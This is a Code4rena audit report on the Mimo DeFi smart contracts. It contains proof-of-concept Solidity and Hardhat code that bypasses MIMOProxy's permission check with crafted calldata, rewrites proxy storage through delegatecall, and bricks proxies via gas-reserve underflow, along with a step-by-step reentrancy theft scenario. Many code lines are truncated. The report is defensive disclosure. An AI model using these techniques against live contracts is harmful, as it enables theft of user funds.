Mimo DeFi contest
Findings & Analysis Report

2022-10-17

Table of contents

- Overview
  - About C4
  - Wardens
- Summary
- Scope
- Severity Criteria
- High Risk Findings (4)
  - [H-01] `MIMOEmptyVault.sol executeOperation()` does not transfer the Vault leftover assets to the owner, it is locked in the `MIMOEmptyVault`
  - [H-02] Automation / management can be set for not yet existing vault
  - [H-03] Registry.sol fails to deliver expected functionality
  - [H-04] Incorrect implementation of access control in MIMOProxy:execute
- Medium Risk Findings (8)
  - [M-01] Vault rebalancing can be exploited if two vaults rebalance into the same vault
  - [M-02] Malicious targets can manipulate MIMOProxy permissions

- [M-03] Malicious manipulation of gas reserve can deny access to MIMOProxy
- [M-04] Persisted msg.value in a loop of delegate calls can be used to drain ETH from your proxy
- [M-05] MIMOManagedRebalance.sol#rebalance calculates managerFee incorrectly
- [M-06] ProxyFactory can circumvent ProxyRegistry
- [M-07] `vaultOwner` Can Front-Run `rebalance()` With `setAutomation()` To Lower Incentives
- [M-08] If a MIMOProxy owner destroys their proxy, they cannot deploy another from the same address

- Low Risk and Non-Critical Issues
  - Low Risk Issues
  - L-01 Use of `msg.value` in functions available to batches
  - L-02 Unused/empty `receive()` / `fallback()` function
  - L-03 Missing checks for `address(0x0)` when assigning values to `address` state variables
  - Non-Critical Issues
  - N-01 Missing `initializer` modifier on constructor
  - N-02 `override` function arguments that are unused should have the variable name removed or commented out to avoid compiler warnings
  - N-03 `constant` s should be defined rather than using magic numbers
  - N-04 Use a more recent version of solidity
  - N-05 Constant redefined elsewhere
  - N-06 Lines are too long
  - N-07 Typos
  - N-08 File is missing NatSpec
  - N-09 NatSpec is incomplete
  - N-10 Event is missing `indexed` fields

- N-11 Not using the named return variables anywhere in the function is confusing

- Gas Optimizations

  - Table of Contents
  - G-01 Caching storage values in memory
  - G-02 Multiple accesses of a mapping/array should use a local variable cache
  - G-03 Use of the `memory` keyword when `storage` should be used
  - G-04 Unnecessary memory operations with an `immutable` variable
  - G-05 The result of a function call should be cached rather than re-calling the function
  - G-06 Unchecking arithmetics operations that can't underflow/overflow
  - G-07 `<array>.length` should not be looked up in every loop of a `for-loop`
  - G-08 `++i` costs less gas compared to `i++` or `i += 1` (same for `--i` vs `i--` or `i -= 1`)
  - G-09 Increments/decrements can be unchecked in for-loops
  - G-10 It costs more gas to initialize variables with their default value than letting the default value be applied.
  - G-11 Upgrade pragma
  - G-12 Optimizations with assembly
  - G-13 Use Custom Errors instead of Revert Strings to save Gas

- Mitigation Review

  - Intro
  - Mitigation Overview
  - Findings

- Disclosures

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Mimo Defi smart contract system written in Solidity. The audit contest took place between August 2—August 7 2022.

Following the C4 audit contest, warden horsefacts reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit contest report.

Wardens

69 Wardens contributed reports to the Mimo Defi contest:

1. vlad_bochok
2. Lambda
3. ayeslick
4. Bnke0x0
5. bin2chen
6. 0x52
7. horsefacts
8. 0xDjango
9. 0xNazgul
10. cccz
11. arcoun
12. byndooa
13. thebensams

14. lllllll
15. peritoflores
16. Dravee
17. 8olidity
18. giovannidisiena
19. mics
20. JohnSmith
21. oyc_109
22. teddav
23. rbserver
24. JC
25. ajtra
26. NoamYakov
27. Rolezn
28. TomJ
29. Deivitto
30. fatherOfBlocks
31. gogo
32. 0x1f8b
33. bobirichman
34. ReyAdmirado
35. sikorico
36. durianSausage
37. simon135
38. CodingNameKiki
39. Waze
40. c3phas
41. Funen
42. brgltd

43. ladboy233
44. 0xc0ffEE
45. Chom
46. samruna
47. hyh
48. ak1
49. delfin454000
50. Sm4rty
51. bulej93
52. natzuu
53. Rohan16
54. TomFrenchBlockchain
55. tofunmi
56. nxrblsrpr
57. erictee
58. _141345_
59. SooYa
60. wagmi
61. aysha
62. jag
63. joestakey
64. 0xSmartContract
65. ignacio
66. bearonbike
67. Aymen0909
68. Fitraldys
69. 0x040

This contest was judged by gzeon.

Mitigations reviewed by horsefacts.

Final report assembled by liveactionllama and itsmetechjay.

Summary

The C4 analysis yielded an aggregated total of 12 unique vulnerabilities. Of these vulnerabilities, 4 received a risk rating in the category of HIGH severity and 8 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 50 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 40 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Mimo Defi contest repository, and is composed of 27 smart contracts written in the Solidity programming language and includes 1,714 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities according to a methodology based on OWASP standards.

Vulnerabilities are divided into three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

Further information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website.

High Risk Findings (4)

[H-01] `MIMOEmptyVault.sol executeOperation()` does not transfer the Vault leftover assets to the owner, it is locked in the `MIMOEmptyVault`

Submitted by bin2chen, also found by Bnke0x0

`MIMOEmptyVault.sol executeAction()` is supposed to pay off the debt and return the leftover assets to the owner of the Vault. But in fact the emptyVault contract, after executing the executionOperation(), only pays back the flash loan, and does not transfer the leftover assets to the owner, and locked in the emptyVault contract.

Proof of Concept

```
function executeOperation(
  address[] calldata assets,
  uint256[] calldata amounts,
  uint256[] calldata premiums,
  address initiator,
  bytes calldata params
) external override returns (bool) {

  ....
  ....

  require(flashloanRepayAmount <= vaultCollateral.balanceOf(ac

  vaultCollateral.safeIncreaseAllowance(address(lendingPool),

  //****Paid off the flash loan but did not transfer the remai

  return true;
}
```

Add logs to test case

test/02_integration/MIMOEmtpyVault.test.ts

```
it("should be able to empty vault with 1inch", async () => {
...
...
...
++++ console.log("before emptyVault balance:--->", (await wmat
  const tx = await mimoProxy.execute(emptyVault.address, MIMOI
  const receipt = await tx.wait(1);
++++ console.log("after emptyVault balance: --->", (await wmat
```

print:

```
before emptyVault balance:---> 0
after emptyVault balance: ---> 44383268870065355782
```

Recommended Mitigation Steps

```
function executeOperation(
  address[] calldata assets,
  uint256[] calldata amounts,
  uint256[] calldata premiums,
  address initiator,
  bytes calldata params
) external override returns (bool) {

  ....
  ....

  require(flashloanRepayAmount <= vaultCollateral.balanceOf(ac

  vaultCollateral.safeIncreaseAllowance(address(lendingPool),

  //****transfer the remaining balance back to mimoProxy or ow
  ++++ vaultCollateral.safeTransfer(address(mimoProxy), vaultC

  return true;
```

```
    }
```

RayXpub (Mimo) confirmed and commented:

> We confirm this is a vulnerability and intend to fix this - only the amount needed to repay the flashloan should be transferred from the `MimoProxy` to the `MIMOEmptyVault` action contract.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** Wardens identified that `MIMOEmptyVault` transferred in a vault's full collateral balance when repaying vault rebalance flash loans, but did not return excess collateral to the vault owner when the flash loan repayment amount was less than the vault's collateral balance. Instead, the excess amount would be locked in the action contract.

> **What changed:** The Mimo team updated `MIMOEmptyVault#emptyVaultOperation` to transfer collateral exactly equal to the flashloan repayment amount, rather than the full vault balance. This behavior is demonstrated by an integration test.

> **Why it works:** Since excess collateral is never transferred to `MIMOEmptyVault`, it can no longer be locked in the contract.

[H-02] Automation / management can be set for not yet existing vault

Submitted by Lambda, also found by ayeslick

https://github.com/code-423n4/2022-08-mimo/blob/9adf46f2efc61898247c719f2f948b41d5d62bbe/contracts/actions/automated/MIMOAutoAction.sol#L33

https://github.com/code-423n4/2022-08-mimo/blob/9adf46f2efc61898247c719f2f948b41d5d62bbe/contracts/actions/managed/MIMOManagedAction.sol#L35

Impact & Proof Of Concept

`vaultOwner` returns zero for a non-existing `vaultId`. Similarly, `proxyRegistry.getCurrentProxy(msg.sender)` returns zero when `msg.sender` has not deployed a proxy yet. Those two facts can be combined to set automation for a vault ID that does not exist yet. When this is done by a user without a proxy, it will succeed, as both `vaultOwner` and `mimoProxy` are `address(0)`, i.e. we have `vaultOwner == mimoProxy`.

The consequences of this are quite severe. As soon as the vault is created, it will be an automated vault (with potentially very high fees). An attacker can exploit this by setting very high fees before the creation of the vault and then performing actions for the automated vault, which leads to a loss of funds for the user.

The same attack is possible for `setManagement`.

Recommended Mitigation Steps

Do not allow setting automation parameters for non-existing vaults, i.e. check that `vaultOwner != address(0)`.

RayXpub (Mimo) confirmed and commented:

> We confirm that this is a high risk issue and intend to fix this.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved after review (see finding M.H-01 in Mitigation Review section below)

> **Finding:** Wardens identified that malicious callers could configure automation and management parameters for uninitialized vaults when vault owner and proxy address were unset for a given vault ID and caller and returned `adress(0)`, which caused an access control check to unintentionally pass.

> **What changed:** `MIMOAutoAction#setAutomation` now checks whether the vault owner is the zero address. An integration test demonstrates that attempting to call `setAutomation` on an uninitialized vault will revert. `MIMOManagedAction#setAutomation` performs the same check, and an integration test exercises it.

> **Why it works:** Since `setAutomation` now explicitly checks that the vault is initialized, configuration cannot be set for an uninitialized vault.

[H-03] Registry.sol fails to deliver expected functionality

Submitted by byndooa, also found by arcoun, cccz, Lambda, and thebensams

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyFactory.sol#L40-L58

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyRegistry.sol#L39-L59

Impact

The description of Registry.sol is following:

/// Deploys new proxies via the factory and keeps a registry of owners to proxies. Owners can only /// have one proxy at a time. But it is not. There are multiple problems:

1. Proxy owner can change and will not be registered
2. There many ways for an owner to have many proxies:
3. A few other proxy owners transferOwnership() to one address.
4. Registry tracks last deployments and does not guarantee ownership.
5. Factory.sol allows calling deployFor() to anyone, without any checks and registrations.

Proof of Concept

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyFactory.sol#L40-L58

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyRegistry.sol#L39-L59

Tools Used

Hardhat

Recommended Mitigation Steps

Delete `Proxy.transfetOwnership()`.

Disallow anyone to call `deploy()` and `deployFor()` in `Factory()`.

RnkSngh (Mimo) confirmed and commented:

> We agree that this is an issue and intend to fix this.

gzeoneth (judge) increased severity to High and commented:

> I believe this is High Risk due to the unexpected ownership behavior.

m19 (Mimo) commented:

> While the Registry indeed does not work as advertised, I am not sure if high risk is the correct here? As per the definition "Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals)." I don't think that applies here.

> We also see no way `Proxy owner can change and will not be registered` actually can happen which would be the only scenario there is a loss of funds.

gzeoneth (judge) commented:

> I am quite sure asset can be lost if the owner cannot do owner stuff and a non-owner can do owner stuff. Also see related PoC in e.g. #154, #67, #69

m19 (Mimo) commented:

> @gzeoneth Thanks, I get it now, #154 describes it much better. Yes, this is definitely a high-risk issue then.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** Wardens identified that both `MIMOProxy` and `MIMOProxyRegistry` stored proxy ownership data, but ownership transfers were not propagated from `MIMOProxy` to the `MIMOProxyRegistry`. This would cause new owners to lose access to vault funds and old owners to retain privileged access to automation configuration.

> **What changed:** The Mimo team removed the `owner` state variable and `transferOwner` function from `MIMOProxy`. Additionally, they removed `MIMOProxyRegistry` altogether and moved its functionality to `MIMOProxyFactory`. Ownership data is now stored only in `MIMOProxyFactory`, and all ownership transfers must now be performed by calling `MIMOProxyFactory#transferOwnership` rather than interacting with `MIMOProxy`.

> `MIMOProxyFactory` now stores a mapping of proxy address to `ProxyState`, a struct that includes the current owner address. The `claimOwnership` function updates both the owner address and the current proxy when a new user accepts ownership. A unit test demonstrates this behavior.

> An integration test demonstrates that proxy permissions are cleared after ownership transfers.

> In its authorization check in the `execute` function, `MIMOProxy` reads from the proxy factory to determine the current owner address. Client contracts

> MIMOEmptyVault, MIMOLeverage, MIMORebalance, MIMOAutoAction, and MIMOManagedAction now read the current proxy from `MIMOProxyFactory`.
> **Why it works:** Since `MIMOProxyFactory` is now the single source of truth for `MIMOProxy` ownership, this data cannot fall out of sync across contracts. Since client contracts call `MIMOProxyFactory#getCurrentProxy`, they will correctly read the current proxy address.

[H-04] Incorrect implementation of access control in MIMOProxy:execute

Submitted by vlad_bochok

https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/proxy/MIMOProxy.sol#L54

https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/proxy/MIMOProxy.sol#L104

Description

There is a function `execute` in `MIMOProxy` smart contract. The function performs a delegate call to the user-specified address with the specified data. As an access control, the function checks that either it was called by the owner or the owner has previously approved that the sender can call a specified target with specified calldata. See https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/proxy/MIMOProxy.sol#L104.

The check itself:

```
        if (owner != msg.sender) {
          bytes4 selector;
          assembly {
            selector := calldataload(data.offset)
          }
          if (!_permissions[msg.sender][target][selector]) {
            revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.
          }
        }
```

The problem is how the `selector` is calculated. Specifically, `calldataload(data.offset)` - reads first 4 bytes of `data`. Imagine `data.length == 0`, does it mean that `calldataload(data.offset)` will return `bytes4(0)`? No.

Let's see how calldata are accepted by functions in Solidity. The solidity function checks that the calldata length is less than needed, but does NOT check that there is no redundant data in calldata. That means, the function `execute(address target, bytes calldata data)` will definitely accept data that have `target` and `data`, but also in calldata can be other user-provided bytes. As a result, `calldataload(data.offset)` can read trash, but not the `data` bytes.

And in the case of `execute` function, an attacker can affect the execution by providing `trash` data at the end of the function. Namely, if the attacker has permission to call the function with some `signature`, the attacker can call proxy contract bypass check for signature and make delegate call directly with zero calldata.

Please see proof-of-concept (PoC), `getAttackerCalldata` returns a calldata with which it is possible to bypass check permission for signature. Function `execute` from PoC simulate check for permission to call `signatureWithPermision`, and enforce that `data.length == 0`. With calldata from `getAttackerCalldata` it works.

Impact

Any account that has permission to call at least one function (signature) to the contract can call fallback function without permission to do so.

Proof of Concept

```
// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity ^0.8.0;

interface IMIMOProxy {
  event Execute(address indexed target, bytes data, bytes respor

  event TransferOwnership(address indexed oldOwner, address inde
```

```
  function initialize() external;

  function getPermission(
    address envoy,
    address target,
    bytes4 selector
  ) external view returns (bool);

  function owner() external view returns (address);

  function minGasReserve() external view returns (uint256);

  function execute(address target, bytes calldata data) external

  function setPermission(
    address envoy,
    address target,
    bytes4 selector,
    bool permission
  ) external;

  function transferOwnership(address newOwner) external;

  function multicall(address[] calldata targets, bytes[] calldat
}

contract PoC {
    bytes4 public signatureWithPermision = bytes4(0xffffffff);

    // Call this function with calldata that can be prepared in
    function execute(address target, bytes calldata data) exterr
        bytes4 selector;
        assembly {
            selector := calldataload(data.offset)
        }

        require(selector == signatureWithPermision);

        require(data.length == 0);
    }

    // Function that prepare attacker calldata
    function getAttackerCalldata() public view returns(bytes mem
        bytes memory usualCalldata = abi.encodeWithSelector(IMIN
        return abi.encodePacked(usualCalldata, bytes32(signature
```

```
        }
    }
```

Recommended Mitigation Steps

Add `require(data.length >= 4);`.

RayXpub (Mimo) commented:

> We were not able to recreate the provided POC. The explanation is also incomplete - we don't see how an attacker could bypass the permissions check through providing extra calldata in a signature. Please provide more details, or a working POC, on how the extra data can bypass the permissions check.

gzeoneth (judge) commented:

> This POC looks valid to me.

> Basically what the warden mean is if you construct the calldata like execute(some_addr, "") + 0xffffff

```
0x1cff79cd000000000000000000000000000000005b38da6a701c568545dcfcb03fcb87
```

> `data.offset` would be at ^
> and `calldataload(data.offset)` would read 0xffffff

gzeoneth (judge) commented:

> This might be clearer

```
pragma solidity ^0.8.0;

contract PoC {
    bytes4 public signatureWithPermision = bytes4(0xdead1337);

    // Call this function with calldata that can be prepared in
    function execute(address target, bytes calldata data) view e
        bytes4 selector;
```

```
            assembly {
                selector := calldataload(data.offset)
            }
            require(selector == signatureWithPermision, "bad selecto
            return data;
        }

        // Function that prepare attacker calldata
        function getAttackerCalldata() public view returns(bytes mem
            bytes memory usualCalldata = abi.encodeWithSelector(this
            return abi.encodePacked(usualCalldata, signatureWithPerm
        }

        function exploit() external returns(bytes memory data) {
            (, data) = address(this).call(getAttackerCalldata());
        }
    }
```

> If you call `exploit`, it would succeed but it shouldn't (since exploit call execute with `0x00000000....` instead of the permitted 4bytes `0xdead1337`).

> The exploit here is if you permitted contract A to run function foo only, A.fallback() is also permitted.

> Your `getSelector` PoC won't work if you are passing a non-empty bytes, it would work if you construct a call like
> `0x0cbd17c800000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000dead1337`
> which is equivalent to calling `getSelector("")` with some extra data `dead1337` at the end.

> Consider the calldata layout
> [00] 0cbd17c8
> [04] 0000000000000000000000000000000000000000000000000000000020 (data offset)
> [24] 0000000000000000000000000000000000000000000000000000000000

> 00000000000 (data len)
> [44] dead1337

> data.offset = 0x04 + 0x20 (data offset) + 0x20 (1 word for length) = 0x44

[RayXpub (Mimo) confirmed]

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** A warden identified that callers could bypass a permissions check in `MIMOProxy#execute` by passing specially constructed calldata, enabling the caller to invoke a contract's fallback function.

> **What changed:** `MIMOProxy#execute` now reads the first four bytes of the `data` parameter directly rather than using `data.offset` to extract the function selector from calldata.

> **Why it works:** Since attackers can no longer manipulate the extracted selector, they cannot bypass the permissions check. A unit test demonstrates this behavior.

Medium Risk Findings (8)

[M-01] Vault rebalancing can be exploited if two vaults rebalance into the same vault

Submitted by 0x52, also found by ayeslick

User funds stolen.

Proof of Concept

Swap data is completely arbitrary and can be used to swap though malicious ERC20 tokens allowing control transfer. This control transfer would allow the attacker to call rebalance on a second vault and exploit both as long as both vaults rebalance into the same vault.

Assumptions:
Vault A and C both rebalance into vault B (i.e. value is transferred from vault A and C to vault B)
Vault A and C are both eligible for rebalances

Vault A -
Value: $100
Flashloan value: 50

Vault B -
Value: $100

Vault C -
Value: $100
Flashloan value: 50

1. User calls rebalance on vault A to trigger it rebalancing to vault B, storing vault B's value as $100
2. During the swap control is transferred due to use of malicious ERC20 specified in swap data
3. Malicious token calls rebalance on vault C to trigger a rebalancing to vault B, storing vault B's value as $100 because Vault B's value hasn't been modified yet.
4. Swap data in vault C rebalance swaps flashloan C to $50 worth of asset B
5. Vault C rebalance deposits swap funds into vault B
6. Vault C rebalance withdraws from vault C to pay back flashloan C
7. Vault C rebalance validates that the value of B = $150 (100 + 50) and finishes, resuming Vault A rebalance
8. Vault A rebalance finishes its swap, siphoning off the swapped funds to attacker through the malicious pool
9. Vault A rebalance doesn't deposit any funds but the value of vault B has already been increased by rebalance C
10. Vault A rebalance withdraws from vault A to pay back vault flashloan A
11. Vault A rebalance validates that the value of B = $150 (100 + 50)

The attacker has now stolen funds, up to half the value of the total rebalance amount.

Recommended Mitigation Steps

Add nonReentrant modifier to MIMOAutomatedRebalnce.sol#rebalance.

RayXpub (Mimo) disagreed with severity and commented:

> The attack described seems to be missing some elements mainly on item 9. Rebalance can't choose to just not deposit as it calls `depositAndBorrow()` with a `mintAmount` computed onchain through the `_getAmounts()` function so it will have to mint some amount. This might be possible if the additional minting requirement by the second rebalance repayment can happen within the limits of vault B MCR. This seems to be an edge case and a complex attack, as it would require 2 vaults under trigger ratio, a malicious pool with enough liquidity and a user set mcr buffer high enough to not require additional deposit on second rebalance.

> Given the complexity and the low probability of this attack we think it should be downgraded to medium risk. We do plan on applying the recommendation of adding nonReentrant modifier.

gzeoneth (judge) decreased severity to Medium

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** Wardens identified that `MIMOAutoRebalance#rebalance` was vulnerable to reentrancy by swapping through a malicious token that transfers control to the caller.

> **What changed:** The Mimo team added a **reentrancy guard** to the `rebalance` function. An **integration test** demonstrates that the function is protected against reentrancy.

> **Why it works:** Since `rebalance` is protected by a reentrancy guard, attempts to reenter `rebalance` will now revert.

[M-02] Malicious targets can manipulate MIMOProxy permissions

Submitted by horsefacts, also found by ayeslick, cccz, peritoflores, teddav, and vlad_bochok

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L21-L24

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L55-L64

Vulnerability Details

The `MIMOProxy` contract stores per-caller, per-target, per-selector permissions in a nested internal mapping.

MIMOProxy.sol#L21:

```
    /// INTERNAL STORAGE ///

    /// @notice Maps envoys to target contracts to function select
    mapping(address => mapping(address => mapping(bytes4 => bool))
```

If the caller of `execute` is an authorized "envoy" with the right permissions, they are allowed to `delegatecall` from the `MIMOProxy` instance.

MIMOProxy.sol#L55:

```
      // Check that the caller is either the owner or an envoy.
      if (owner != msg.sender) {
        bytes4 selector;
        assembly {
          selector := calldataload(data.offset)
        }
        if (!_permissions[msg.sender][target][selector]) {
          revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.
```

```
    }
  }
```

However, although these permissions are stored in an internal mapping, a malicious (or malfunctioning) target contract with the same or overlapping storage layout may manipulate envoy permissions. Malicious target contracts may use this method to grant themselves additional permissions or authorize other envoys and targets.

Note that `MIMOProxy` defends against similar attempts to change the contract `owner` by storing the current owner address before executing `delegatecall` and checking that it has not changed after. However, due to the nature of Solidity mappings, and the nestedness of the permissions mapping, it's not feasible to perform the same check for envoy permissions.

Impact

An authorized envoy + malicious target may intentionally modify or accidentally overwrite envoy permissions. Malicious target contracts may attempt to trick users into escalating privileges using this method.

Recommended Mitigation Steps

This is a tough one, but if the addresses of Mimo-authorized target contracts are known, consider maintaining and consulting an external registry to further constrain envoys and prevent them from calling target contracts that are not known Mimo modules:

```
ITargetRegistry immutable targetRegistry;

function getPermission(
  address envoy,
  address target,
  bytes4 selector
) external view override returns (bool) {
  return _permissions[envoy][target][selector] && targetRegist
}
```

Test cases

We'll use this `ProxyAttacks` helper contract to manipulate proxy storage. Note that it has the same storage layout as `MIMOProxy`.

```
contract ProxyAttacks {

    address public owner;
    uint256 public minGasReserve;
    mapping(address => mapping(address => mapping(bytes4 => bool)

    // Selector 0x694bf8a2
    function setPermission() external {
      _permissions[address(1)][address(2)][0xdeadbeef] = true;
    }
}
```

Then deploy the `ProxyAttacks` helper in a test environment and use `MIMOProxy` to `delegatecall` into it:

```
import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';

import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAt

chai.use(solidity);

const setup = deployments.createFixture(async () => {
  const { deploy } = deployments;
  const [owner, attacker] = await ethers.getSigners();

  await deploy("MIMOProxy", {
    from: owner.address,
    args: [],
  });
  const mimoProxyBase: MIMOProxy = await ethers.getContract("MI

  await deploy("MIMOProxyFactory", {
    from: owner.address,
    args: [mimoProxyBase.address],
  });
  const mimoProxyFactory: MIMOProxyFactory = await ethers.getCor
```

```
  await deploy("MIMOProxyRegistry", {
    from: owner.address,
    args: [mimoProxyFactory.address],
  });
  const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getC

  await deploy("ProxyAttacks", {
    from: owner.address,
    args: [],
  });
  const proxyAttacks: ProxyAttacks = await ethers.getContract("P

  return {
    owner,
    attacker,
    mimoProxyBase,
    mimoProxyFactory,
    mimoProxyRegistry,
    proxyAttacks,
  };
});

describe("Proxy attack tests", () => {
  it("Permission manipulation by malicious target", async () =>
    const { owner, mimoProxyRegistry, proxyAttacks } = await set
    await mimoProxyRegistry.deploy();
    const currentProxy = await mimoProxyRegistry.getCurrentProxy

    const proxy = await ethers.getContractAt("MIMOProxy", currer

    // Call setPermission on ProxyAttacks contract
    await proxy.execute(proxyAttacks.address, "0x694bf8a2");

    const envoy = "0x0000000000000000000000000000000000000001";
    const target = "0x0000000000000000000000000000000000000002";
    const selector = "0xdeadbeef";

    // Proxy's permissions have been updated
    expect(await proxy.getPermission(envoy, target, selector)).t
  });
});
```

RayXpub (Mimo) acknowledged and commented:

> We acknowledge that this could be an issue although it requires the user to approve a malicious contract to happen, and thus is functioning as was intended by the proxy design.

gzeoneth (judge) commented:

> Grouping multiple issues related to delegate call storage here, judging as Med Risk since any malicious contract require user approval.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** Wardens identified that malicious target contracts could manipulate storage variables in `MIMOProxy`, including the contract's `_initialized` and `_initializing` state variables and permissions granted to external "envoys."

> **What changed:** The Mimo team have removed all storage variables from `MIMOProxy`:

- The `MIMOProxy` contract is no longer `Initializable`, removing `_initialized` and `_initializing`.
- Proxy owner is now stored in `MIMOProxyFactory`, removing `owner`.
- Minimum gas reserve is now stored in `MIMOProxyFactory`, removing `minGasReserve`.
- Permissions are now stored in a separate `MIMOProxyGuard` contract, removing the `_permissions` mapping.

> **Why it works:** Since `MIMOProxy` no longer includes any storage variables, they cannot be maliciously manipulated by `delegatecall` to target contracts.

[M-03] Malicious manipulation of gas reserve can deny access to MIMOProxy

Submitted by horsefacts, also found by giovannidisiena and Lambda

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L18-L19

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L74-L79

Vulnerability Details

The `MIMOProxy` contract defines a `minGasReserve` value as a storage variable:

MIMOProxy.sol#L18 :

```
    /// @inheritdoc IMIMOProxy
    uint256 public override minGasReserve;
```

The `execute` function uses this `minGasReserve` value to calculate a gas stipend to provide to the target contract when executing a `delegatecall` :

MIMOProxy.sol#L74 :

```
        // Reserve some gas to ensure that the function has enough t
        uint256 stipend = gasleft() - minGasReserve;

        // Delegate call to the target contract.
        bool success;
        (success, response) = target.delegatecall{ gas: stipend }(da
```

Although `minGasReserve` is a public storage variable, it has no corresponding setter function. There used to be one in the upstream `PRBProxy` , but it was removed in version 2.0. The intent of this change was to simplify the proxy contract, while allowing users to `delegatecall` to their own target contract to set this value if necessary.

However, a malicious target contract can permanently block access to a `MIMOProxy` by setting `minGasReserve` to a very high value and forcing an underflow in the gas stipend calculation:

MIMOProxy.sol#L75

```
        // Reserve some gas to ensure that the function has enough t
        uint256 stipend = gasleft() - minGasReserve;
```

If a target contract intentionally or accidentally sets `minGasReserve` to a value higher than the block gas limit, the `execute` function will always underflow and revert. In this scenario, it is impossible to set `minGasReserve` back to a reasonable value, since the change must be made through the `execute` function.

Impact: If a user intentionally or accidentally sets a high `minGasReserve`, they may permanently lose access to their `MIMOProxy`. Malicious target contracts may attempt to trick users into bricking their proxy contracts using this method.

Recommended Mitigation Steps

Restore the `setMinGasReserve` function removed in `PRBProxy` v2.0, which will allow the proxy owner to directly set this value:

```
        function setMinGasReserve(uint256 newMinGasReserve) external
            if (owner != msg.sender) {
                revert CustomErrors.NOT_OWNER(owner, msg.sender);
            }
            minGasReserve = newMinGasReserve;
        }
```

Test cases

We'll use this `ProxyAttacks` helper contract to manipulate proxy storage. Note that it has the same storage layout as `MIMOProxy`.

```
    contract ProxyAttacks {
```

```
    address public owner;
    uint256 public minGasReserve;
    mapping(address => mapping(address => mapping(bytes4 => bool)

    // Selector 0xf613a687
    function returnTrue() external pure returns (bool) {
      return true;
    }

    // Selector 0x5f9981ae
    function setGasReserve() external {
      minGasReserve = type(uint256).max;
    }
}
```

Then deploy the `ProxyAttacks` helper in a test environment and use `MIMOProxy` to `delegatecall` into it:

```
import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';

import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAt

chai.use(solidity);

const setup = deployments.createFixture(async () => {
  const { deploy } = deployments;
  const [owner, attacker] = await ethers.getSigners();

  await deploy("MIMOProxy", {
    from: owner.address,
    args: [],
  });
  const mimoProxyBase: MIMOProxy = await ethers.getContract("MI

  await deploy("MIMOProxyFactory", {
    from: owner.address,
    args: [mimoProxyBase.address],
  });
  const mimoProxyFactory: MIMOProxyFactory = await ethers.getCor
```

```
  await deploy("MIMOProxyRegistry", {
    from: owner.address,
    args: [mimoProxyFactory.address],
  });
  const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getC

  await deploy("ProxyAttacks", {
    from: owner.address,
    args: [],
  });
  const proxyAttacks: ProxyAttacks = await ethers.getContract("P

  return {
    owner,
    attacker,
    mimoProxyBase,
    mimoProxyFactory,
    mimoProxyRegistry,
    proxyAttacks,
  };
});

describe("Proxy attack tests", () => {
  it("DoS by manipulating gas reserve", async () => {
    const { owner, mimoProxyRegistry, proxyAttacks } = await set
    await mimoProxyRegistry.deploy();
    const currentProxy = await mimoProxyRegistry.getCurrentProxy

    const proxy = await ethers.getContractAt("MIMOProxy", currer

    // Call setGasReserve on ProxyAttacks contract
    await proxy.execute(proxyAttacks.address, "0x5f9981ae");

    // Proxy's minGasReserve is now type(uint256).max
    expect(await proxy.minGasReserve()).to.equal(ethers.constant

    // All calls revert due to underflow calculating gas stipend
    await expect(proxy.execute(proxyAttacks.address, "0xf613a687
      "Arithmetic operation underflowed or overflowed outside of
    );
  });
});
```

RnkSngh (Mimo) marked as duplicate:

> Duplicate of #161.

